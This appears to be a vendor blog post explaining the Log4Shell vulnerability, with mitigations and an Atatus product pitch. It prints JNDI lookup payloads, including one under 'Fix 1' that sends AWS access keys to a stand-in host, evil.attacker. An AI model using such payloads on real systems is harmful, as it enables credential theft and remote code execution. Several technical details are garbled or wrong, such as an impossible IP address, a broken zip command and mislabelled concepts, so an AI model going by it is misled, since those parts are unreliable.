Coding is a big part of building an application. But, most of the time, you don’t write the entire code. Yes, you don't!
Some people, usually big companies, provide pre-written codes for certain standard functions - like loggers, APIs, etc. This is because these functions work the same way in most applications; they require only simple fine-tuning to be adapted for your program as well.
In such a case, writing it all from scratch would be a waste. And that is why developers use libraries.
Log4Shell is a peculiar vulnerability that attacks the Java library, especially the versions below 2.x. This vulnerability is said to have caused losses amounting to a whopping USD 10 Billion.
Its been over a year now since this vulnerability was first discovered. And you might have reasonable doubts about why I am discussing it now.
But let me tell you; the threat is far from gone.
In January, log data collected by Snort, an open-source network intrusion detection system, showed a spike in Log4Shell exploitation attempts that exceeded 70 million following the flaw's disclosure in late 2021. From April until now, the number of new detections has remained fairly constant at around 50 million per month. This shows that attackers are still interested in probing this vulnerability.
What is Log4Shell? Why is the internet still panicking over it?
In this article, we will look at some of the persisting questions regarding this vulnerability and try to answer how to fix and eliminate this issue.
Table Of Contents
- What is Log4Shell?
- What makes Log4Shell so dangerous?
- What is the Log4Shell Vulnerability?
- How does it make Java programs vulnerable?
- How to fix this issue?
What is Log4Shell?
Log4Shell was a vulnerability first discovered in the servers hosting Minecraft, a game created by Microsoft. This vulnerability mainly attacks the Log4j logging library in Java. It does so by discreetly mounting a remote code execution exploit.
Tenable even quotes it as "The single biggest, most critical vulnerability ever."
An Alibaba cloud scientist was the first person to identify this threat, and he consequently reported it to the Apache Foundation. But to their dismay, they later found out that the vulnerability had existed since 2013 but remained unnoticed until this discovery on Dec 9, 2021.
Named CVE-2021-44228 by NVD, this vulnerability was given a score of 10 CVSS.
What makes Log4Shell so dangerous?
Log4j is one of the most used logging libraries in the java program.
In fact, it is so common that Sonatype has recorded more than 31.4 million downloads of it since December 2021. (Sonatype is a software supply chain management firm that runs the Maven central repository - the largest repository of Java components).
Attackers can easily exploit the vulnerability as it does not require any privileged access or special configuration. All they have to do is to locate an input field that gets logged and write a simple string of code.
Remediating a single such attack can cost a company roughly $33000. And that is a very huge sum!
Why does it cost so much? The reasons can be numerous:
- The number of software and solutions where Log4j was used.
- The inability of the company to find where it was running.
- Not identifying vulnerable areas previously and irregular checks.
The worst thing is that Log4Shell is recursive. It can appear again, even after you have patched your systems from a previous attack.
What is Log4Shell vulnerability?
JNDI (Java naming and directory interface) serializes java data in a format that is easy to transfer over the internet. It stores the data on an LDAP server. LDAP is an open, vendor-neutral application protocol for accessing and maintaining data.
You can store anything, any data set as JNDI. it can be address profiles of loggers, some serial numbers etc. all this would be maintained as a part of the directory.
Example of an active directory link in LDAP:
LDAP URL
ldap://191.343.1.44:8000/0=melinda, C=USLog4j supports a default logging feature called "Message Lookup Substitution". While logging, this feature allows certain strings to be replaced by other dynamically-generated strings.
Example:
Running ${java:runtime} Output:
Running Java version 1.7.0_67A cyberhacker makes use of this loophole to create malicious strings and parses into the directory.
Whenever we run a lookup message in JNDI it will fetch a specific java class from a remote source and deserialize it. This will result in execution of certain class’ codes.
The most common substitution string that takes advantage of this issue will be:
${jndi:ldap://somedomain.com}This way, if any hacker gets access to the directory, he can either manipulate or retrieve the entire data available on it.
Most malicious activity so far has been mass scanning to identify vulnerable systems. Using the vulnerability, attackers have been compromising virtualization infrastructure, installing and executing ransomware, stealing credentials, controlling compromised networks, and stealing data reports Microsoft Security.
How does it make Java programs vulnerable?
Apache ranks Log4j with a CVSS (Common vulnerability scoring system) score of 10 which makes it highly critical according to the CVE (Common vulnerabilities and exposures) glossary.
The problem is because of dependencies. Even if you are not directly using Log4j, you may use another application with dependencies for Log4j. So patching up after a mishap becomes a considerable problem. Because some of them don't even know that they’ve been affected by this Log4Shell vulnerability.
Now you might think, What if you had never installed a Log4j on your program? How would you be affected then? Now here’s the catch!
Almost more than 60% of all the applications running on java are dependent on Log4j indirectly, if not directly.
This means you might not have run a Log4j for your application, but some extension that you are using would have used Log4j and thus puts even your program into the vulnerability.
For example, the 404 error pops up on your screen when you try to access a webpage that is no longer available on the internet. A warning or debugging messages are all such strings in Java that can become threats if accessed by hackers.
How do attackers make these programs vulnerable?
- JNDI - They parse the directory with malicious code by injecting it into any string that has been logged into.
- RCE (Remote code execution) - A coder can sneak into your directory and pass string commands containing ill-natured codes. This can be done to either introduce a spying module into your program or to extract some sensitive information.
- DOS (Denial of service attacks) - Upon logging into the JNDI files, the hacker can deny services that are usually offered in the program. This will create difficulty for the application and its customer base.
- Simple Logging - Any output that you desire can be added to your logger class. This will allow applications to log a particular output for a particular input command. Hackers can breach Log4j Loggers and include other baleful codes instead. This will give a negative output to the person commanding for some product/service on the app.
How to fix this issue?
The solution to any problem lies in the way we approach it. The temporary measures include fixing the current fault zones, but a better permanent solution would be to provide better protection to such open-sourced components.
Fix 1: Block ${jndi:ldap//
{jndi:ldap is an environment variable. Environment variables are passed down to child processes which allow for unintended access.
${jndi:ldap//evil.attacker:1234/${env: AWS_ACCESS_KEY_ID/}${env: AWS_SECRET_ACCESS_KEY}}Fix 2: Disable JNDI lookups
Code injection masks logger into believing that JNDI is a part of the string command which then goes on to resolve and execute it. When you disable the JNDI lookup class, the logger won't be able to retrieve data from the log.
Remove the jndiLookup.class from the classpath this way,
zip -q -d log4j-core- *.jar org /apache/logging /log4j /core/lookup /JndiLookup.classSet the following command to true:
LOG4J_FORMAT_MSG_NO_LOOKUPSFix 3: Turn trustURLCodebase to false
You are asking the JVM if to trust these URLs or not. This allows java to block any code coming from an external URL.
com.sun.jndi.ldap.object.trustURLCodebaseFix 4: Upgrade to the newest version of Log4j
Log4j 2.19.0 is the latest release. This requires a Java 8 or above at runtime.
Wrapping Up
It is a general thumb of rule that the more logs you have, the more easier it is to find and fix problems. It is also helpful when you got to keep an eye on where faults arise. Log4j was one of such best loggers built by Apache. But unfortunately, the Log4Shell infection has turned out to be a disaster.
Crypto miners and cyberespionage groups are often the first ones to exploit such a vulnerability. The sheer ease of such an exploit renders firewalls diminished off any credibility.
The problem widens when it involves data compromise and ransomware attacks. These can not only be costly for the company but for the entire people subscribed to such an application or its products and services.
In the absence of visibility into software supply chains, Log4Shell is likely to remain a well-used vulnerability for exploits.
Monitor your Java application for errors & exceptions with Atatus
With Atatus Java performance monitoring, you can monitor the performance and availability of your Java application in real-time and receive alerts when issues arise. This allows you to quickly identify and troubleshoot problems, ensuring that your application is always running smoothly.
One of the key features of Atatus is its ability to monitor the performance of your Java application down to the individual request level. This allows you to see exactly how long each request is taking to process, as well as any errors or exceptions that may have occurred. You can also see a breakdown of the different components of your application, such as the web server, database, and external services, to see how they are affecting performance.
In addition to monitoring performance, Atatus also allows you to track the availability of your Java application. This means that you can see when your application is down or experiencing errors, and receive alerts when this occurs. You can also see how long your application has been running, as well as any uptime or downtime trends over time.
By using Atatus, you can ensure that your application is always running smoothly and that any issues are quickly identified and resolved.
If you are not yet a Atatus customer, you can sign up for a 14-day free trial .
